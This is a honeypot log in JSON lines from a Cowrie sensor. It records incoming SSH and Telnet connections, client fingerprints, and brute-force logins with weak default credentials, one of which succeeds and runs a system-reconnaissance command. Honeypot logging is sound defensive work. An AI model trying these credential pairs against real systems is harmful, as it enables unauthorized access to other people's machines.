{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":47100,"dst_ip":"159.203.135.109","dst_port":22,"session":"7fbc6ed27863","protocol":"ssh","message":"New connection: 192.109.200.78:47100 (159.203.135.109:22) [session: 7fbc6ed27863]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:32:29.007805Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:32:29.190222Z","src_ip":"192.109.200.78","session":"7fbc6ed27863","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:32:29.194580Z","src_ip":"192.109.200.78","session":"7fbc6ed27863","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"1111","message":"login attempt [user/1111] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:32:29.554157Z","src_ip":"192.109.200.78","session":"7fbc6ed27863","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:32:30.639931Z","src_ip":"192.109.200.78","session":"7fbc6ed27863","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"177.54.62.66","src_port":63012,"dst_ip":"10.17.0.5","dst_port":22,"session":"b28894119581","protocol":"ssh","message":"New connection: 177.54.62.66:63012 (10.17.0.5:22) [session: b28894119581]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:32:31.023273Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:32:31.029111Z","src_ip":"177.54.62.66","session":"b28894119581","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:32:31.161042Z","src_ip":"177.54.62.66","session":"b28894119581","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"adminuser","message":"login attempt [root/adminuser] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:32:31.719500Z","src_ip":"177.54.62.66","session":"b28894119581","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.95","src_port":59046,"dst_ip":"159.203.135.109","dst_port":22,"session":"66bd21be3196","protocol":"ssh","message":"New connection: 176.65.139.95:59046 (159.203.135.109:22) [session: 66bd21be3196]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:32:32.004631Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:32:32.010153Z","src_ip":"176.65.139.95","session":"66bd21be3196","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:32:32.096596Z","src_ip":"176.65.139.95","session":"66bd21be3196","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"steam","password":"steam","message":"login attempt [steam/steam] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:32:32.353736Z","src_ip":"176.65.139.95","session":"66bd21be3196","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:32:32.874466Z","src_ip":"176.65.139.95","session":"66bd21be3196","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -s -v -n -r -m","message":"CMD: uname -s -v -n -r -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:32:32.878057Z","src_ip":"176.65.139.95","session":"66bd21be3196","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:32:32.885159Z","src_ip":"177.54.62.66","session":"b28894119581","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","size":71,"shasum":"7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:32:33.010121Z","src_ip":"176.65.139.95","session":"66bd21be3196","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:32:33.016980Z","src_ip":"176.65.139.95","session":"66bd21be3196","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"77.68.119.60","src_port":54454,"dst_ip":"10.17.0.5","dst_port":23,"session":"74ca264ece2c","protocol":"telnet","message":"New connection: 77.68.119.60:54454 (10.17.0.5:23) [session: 74ca264ece2c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:32:33.216391Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":47116,"dst_ip":"159.203.135.109","dst_port":22,"session":"5bed38436953","protocol":"ssh","message":"New connection: 192.109.200.78:47116 (159.203.135.109:22) [session: 5bed38436953]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:32:33.343863Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:32:33.350892Z","src_ip":"192.109.200.78","session":"5bed38436953","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:32:33.448056Z","src_ip":"192.109.200.78","session":"5bed38436953","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"suporte","password":"suporte","message":"login attempt [suporte/suporte] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:32:33.702686Z","src_ip":"192.109.200.78","session":"5bed38436953","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:32:35.099696Z","src_ip":"192.109.200.78","session":"5bed38436953","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":38682,"dst_ip":"159.203.135.109","dst_port":22,"session":"9255589355c0","protocol":"ssh","message":"New connection: 159.203.92.129:38682 (159.203.135.109:22) [session: 9255589355c0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:32:36.917131Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:32:36.922897Z","src_ip":"159.203.92.129","session":"9255589355c0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:32:36.928708Z","src_ip":"159.203.92.129","session":"9255589355c0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"R15MB","password":"R15MB","message":"login attempt [R15MB/R15MB] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:32:36.945052Z","src_ip":"159.203.92.129","session":"9255589355c0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":47124,"dst_ip":"159.203.135.109","dst_port":22,"session":"4126153d9265","protocol":"ssh","message":"New connection: 192.109.200.78:47124 (159.203.135.109:22) [session: 4126153d9265]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:32:37.527817Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:32:37.537153Z","src_ip":"192.109.200.78","session":"4126153d9265","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:32:37.631687Z","src_ip":"192.109.200.78","session":"4126153d9265","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:32:37.952842Z","src_ip":"159.203.92.129","session":"9255589355c0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sysupdate","password":"123456","message":"login attempt [sysupdate/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:32:38.506203Z","src_ip":"192.109.200.78","session":"4126153d9265","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.95","src_port":54882,"dst_ip":"159.203.135.109","dst_port":22,"session":"fdd06785359e","protocol":"ssh","message":"New connection: 176.65.139.95:54882 (159.203.135.109:22) [session: fdd06785359e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:32:38.833273Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:32:38.840051Z","src_ip":"176.65.139.95","session":"fdd06785359e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:32:38.931432Z","src_ip":"176.65.139.95","session":"fdd06785359e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"administrator","password":"administrator","message":"login attempt [administrator/administrator] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:32:39.185816Z","src_ip":"176.65.139.95","session":"fdd06785359e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:32:39.598339Z","src_ip":"192.109.200.78","session":"4126153d9265","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:32:40.281374Z","src_ip":"176.65.139.95","session":"fdd06785359e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":38354,"dst_ip":"159.203.135.109","dst_port":22,"session":"2c0e71fb5a6f","protocol":"ssh","message":"New connection: 192.109.200.78:38354 (159.203.135.109:22) [session: 2c0e71fb5a6f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:32:41.722599Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:32:41.728488Z","src_ip":"192.109.200.78","session":"2c0e71fb5a6f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:32:41.813662Z","src_ip":"192.109.200.78","session":"2c0e71fb5a6f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user7","password":"123456","message":"login attempt [user7/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:32:42.076986Z","src_ip":"192.109.200.78","session":"2c0e71fb5a6f","protocol":"ssh"}
